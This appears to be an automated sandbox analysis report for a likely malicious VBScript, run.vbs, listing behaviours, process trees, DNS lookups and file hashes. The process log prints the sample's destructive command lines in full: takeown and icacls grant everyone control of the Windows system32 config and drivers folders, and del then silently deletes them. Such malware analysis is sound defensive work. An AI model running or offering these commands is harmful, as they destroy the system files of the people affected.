Analysis Overview
SHA256
bc6bad8cc9c846a3496955805bcfab7d1df5e12a8c60fa266c526a3051c99745
Threat Level: Likely malicious
The file run.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Enumerates physical storage devices
Opens file in notepad (likely ransom note)
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-15 21:19
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-15 21:19
Reported
2024-08-15 21:22
Platform
win7-20240704-en
Max time kernel
120s
Max time network
124s
Command Line
Signatures
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.wsf"
Network
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-15 21:19
Reported
2024-08-15 21:21
Platform
win10v2004-20240802-en
Max time kernel
54s
Max time network
38s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\Notepad.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.wsf"
C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\config\* >nul && icacls c:\windows\system32\config\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\config\* >nul 2>&1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\drivers\* >nul && icacls c:\windows\system32\drivers\* /grant everyone:(f) >nul && del /s /q c:\windows\system32\drivers\* >nul 2>&1
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\config\*
C:\Windows\system32\takeown.exe
takeown /f c:\windows\system32\drivers\*
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\config\* /grant everyone:(f)
C:\Windows\system32\icacls.exe
icacls c:\windows\system32\drivers\* /grant everyone:(f)
C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\Desktop\GetUninstall.vbs
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\RestartBackup.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\SaveUnpublish.vbs"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.140.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 17.160.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.239.44.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.142.123.92.in-addr.arpa | udp |
Files
C:\Users\Admin\Desktop\DebugStep.vbs
| MD5 | 0fd6fb32bda4ebd6d5f4695335b1ad36 |
| SHA1 | 5bf718741d02e633316ced147dbcf9d4d31e4200 |
| SHA256 | 73a3849e7141aac5569d2493129b00f6b833c7c16d87470c0557386b20215c8c |
| SHA512 | fde517c0ff84560900c86f37a4c33208862092902d83d2d6028b870bad6bb14fe139ea7fa2fa6e21da8cd29ed2bf2a5410eaf45e094882f72cdfde27d4a38696 |